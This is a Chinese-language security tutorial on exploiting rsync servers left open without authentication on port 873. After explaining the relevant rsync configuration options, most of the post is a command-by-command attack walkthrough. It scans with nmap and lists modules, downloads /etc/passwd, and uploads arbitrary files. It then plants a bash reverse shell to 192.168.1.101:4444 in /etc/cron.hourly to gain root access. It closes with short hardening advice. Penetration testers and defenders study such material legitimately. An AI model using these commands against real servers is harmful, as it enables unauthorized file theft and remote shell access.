rsync未授權訪問
VSole2021-11-19 07:29:00
簡介
rsync是Linux下一款數據備份工具,支持通過rsync協議、ssh協議進行遠程文件傳輸。其中rsync協議默認監聽873端口,如果目標開啟了rsync服務,并且沒有配置ACL或訪問密碼,我們將可以讀寫目標服務器文件。 rsync未授權訪問帶來的危害主要有兩個:一是造成了嚴重的信息泄露;二是上傳腳本后門文件,遠程命令執行。
rsync配置文件
該漏洞最大的隱患在于寫權限的開啟,一旦開啟了寫權限,用戶就可以,用戶就可以利用該權限寫馬或者寫一句話,從而拿到shell。
我們具體來看配置文件的網相關選項(/etc/rsync.conf)
這一項read only表示只讀,如果這一項為no,我們就具有寫權限了。.

配置參數說明
motd file -> motd文件位置 log file -> 日志文件位置 path -> 默認路徑位置 use chroot -> 是否限定在該目錄下,默認為true,當有軟連接時,需要改為fasle,如果為true就限定為模塊默認目錄 read only -> 只讀配置(yes or no) list=true -> 是否可以列出模塊名 uid = root -> 傳輸使用的用戶名 gid = root -> 傳輸使用的用戶組 auth users -> 認證用戶名 secrets file=/etc/rsyncd.passwd -> 指定密碼文件,如果設定驗證用戶,這一項必須設置,設定密碼權限為400,密碼文件/etc/rsyncd.passwd的內容格式為:username:password hosts allow=192.168.0.101 -> 設置可以允許訪問的主機,可以是網段,多個Ip地址用空格隔開 hosts deny 禁止的主機,host的兩項可以使用*表任意。
利用方式
rsync未授權訪問漏洞只需使用rsync命令即可進行檢測。首先使用nmap或其他工具對目標服務器進行端口掃描,當檢測到目標服務器開放873端口后,使用rsync命令,查看是否能獲取到模塊名列表(需要同步的目錄),然后查看模塊內的文件
nmap掃描目標系統是否開放rsync服務
nmap -p 873 --script rsync-list-modules 目標IP

列出目標服務器的同步目錄
rsync 192.168.1.100:: rsync rsync://192.168.1.100:873 //rsync ip:: //rsync rsync://ip:873

查看模塊文件
獲取到目錄之后,只需在路徑后添加目錄名即可查看目錄中的文件
該目標上有src目錄 那我們就列src看看
rsync 192.168.0.113::src

可以看到成功列出src目錄
下載任意目錄文件
rsync -av 192.168.1.100::src/etc/passwd 路徑 //rsync -av ip::src/路徑
假設我要下載/etc/passwd文件到我的/opt/目錄下
rsync -av 192.168.1.100::src/etc/passwd /opt/passwd.txt

查看passwd.txt文件

向目標系統上傳任意文件
rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1 //rsync -av 文件路徑 rsync://ip:873/目標系統文件路徑
反彈shell
1、下載cron定時任務配置文件并且查看任務內容
rsync -av rsync://192.168.1.100:873/src/etc/cron.hourly //17 * * * * root cd / && run-parts --report /etc/cron.hourly //表示17分鐘會啟動/etc/cron.hourly目錄下文件的任務

2、創建shell文件,寫入反彈shell命令
touch shell //文件寫入反彈shell命令 !/bin/bash /bin/bash -i >& /dev/tcp/192.168.1.101/4444 0>&1
3、傳入/etc/cron.hourly目錄下
寫入cron.hourly下文件的任務就會啟動
rsync -av shell rsync://192.168.1.100:873/src/etc/cron.hourly

監聽4444端口,等待17分鐘之后,接收反彈shell
修復建議
更改rysnc默認配置文件/etc/rsyncd.conf,添加或修改參數: 訪問控制;設置host allow,限制允許訪問主機的IP。 權限控制;設置read only,將模塊設置成只讀。 訪問認證;設置auth、secrets,認證成功才能調用服務。 模塊隱藏;設置list,將模塊隱藏。
VSole
網絡安全專家